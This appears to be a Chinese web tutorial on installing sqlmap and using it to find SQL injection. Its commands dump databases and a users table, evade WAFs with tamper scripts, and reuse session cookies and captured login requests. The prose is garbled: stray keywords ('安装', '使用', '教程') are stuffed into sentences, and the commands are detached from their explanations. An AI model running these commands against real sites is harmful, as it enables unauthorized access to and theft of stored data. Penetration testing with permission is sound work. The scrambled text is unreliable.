sqlmap安装使用教程
sqlmap这东西,安装用好了是使用利器,用不好就是教程给自己挖坑。今天不聊虚的安装,直接说怎么装、使用怎么用,教程都是安装实操干货。 先讲安装。使用sqlmap是教程Python写的,所以你得先有Python环境。安装Windows用户去python.org下载安装包,使用记得勾选"Add Python to PATH"——这步漏了后面全是教程坑。Linux和macOS自带Python,安装但版本可能旧,使用建议装Python 3.8以上版本。教程 装完Python,打开终端(Windows用cmd或PowerShell),输入: 进入sqlmap目录: 核心用法来了。最基本的注入检测: 检测到注入后,下一步就是脱库。先看有哪些数据库: 这里有个坑得提醒你。--dump会把整个表拉下来,如果表里有几百万条记录,你的终端会卡成幻灯片。我建议先加个--count看看行数,再决定要不要全量导出。 实战中经常遇到WAF(Web应用防火墙)。sqlmap默认会发很多特征明显的请求,容易被拦。这时候用--tamper参数,比如: 再说cookie和登录态的问题。很多站点需要登录才能访问参数,这时候用--cookie: post请求怎么办?把请求包存成文件,用-r参数读取:git clone https://github.com/sqlmapproject/sqlmap.git
没装git?直接去GitHub页面下载zip包解压也行。我习惯放C盘根目录,路径短好敲命令。cd sqlmap
然后测试一下:python sqlmap.py --version
能显示版本号就成功了。要是报错说找不到Python,多半是PATH没配好,去环境变量里手动加上Python安装路径。python sqlmap.py -u "http://example.com/page?id=1"
这条命令会检测id参数是否存在SQL注入。我第一次用的时候,对着一个教学靶场跑,几秒钟就爆出"Parameter 'id' is vulnerable",那种感觉就像第一次用搜索引擎搜到自己名字。python sqlmap.py -u "http://example.com/page?id=1" --dbs
然后选库、列表、脱数据,一条龙:python sqlmap.py -u "http://example.com/page?id=1" -D target_db --tablespython sqlmap.py -u "http://example.com/page?id=1" -D target_db -T users --dumppython sqlmap.py -u "http://example.com/page?id=1" --tamper=space2comment
这个tamper会把空格替换成注释符,能绕过不少简单规则。还有between、randomcase这些,具体效果得试——每个站点的防护逻辑都不一样,没有万能钥匙。python sqlmap.py -u "http://example.com/page?id=1" --cookie="PHPSESSID=abc123; security_level=0"
我见过有人卡在这一步半天,其实浏览器开发者工具里复制一下Cookie头就行,别自己手打。python sqlmap.py -r request.txt
request.txt长这样:POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
user=admin&pass=123456
这个技巧在测试登录接口时特别管用。
最后说点个人感受。sqlmap虽然强大,但别指望它全自动搞定一切。遇到复杂站点,得手动改payload、调参数,有时候还得结合burp suite抓包分析。工具是死的,思路是活的。我见过有人拿sqlmap跑了一个小时没结果,结果手工注入两分钟就进去了——因为那个站点过滤了union select,但没过滤union all select。
装好工具只是第一步,理解SQL注入原理才是根本。sqlmap帮你省去重复劳动,但判断哪里能注入、注入点后面藏着什么数据,这些还得靠脑子。
-
上一篇
-
下一篇
- 最近发表
- 随机阅读
- 搜索
-
- 友情链接
-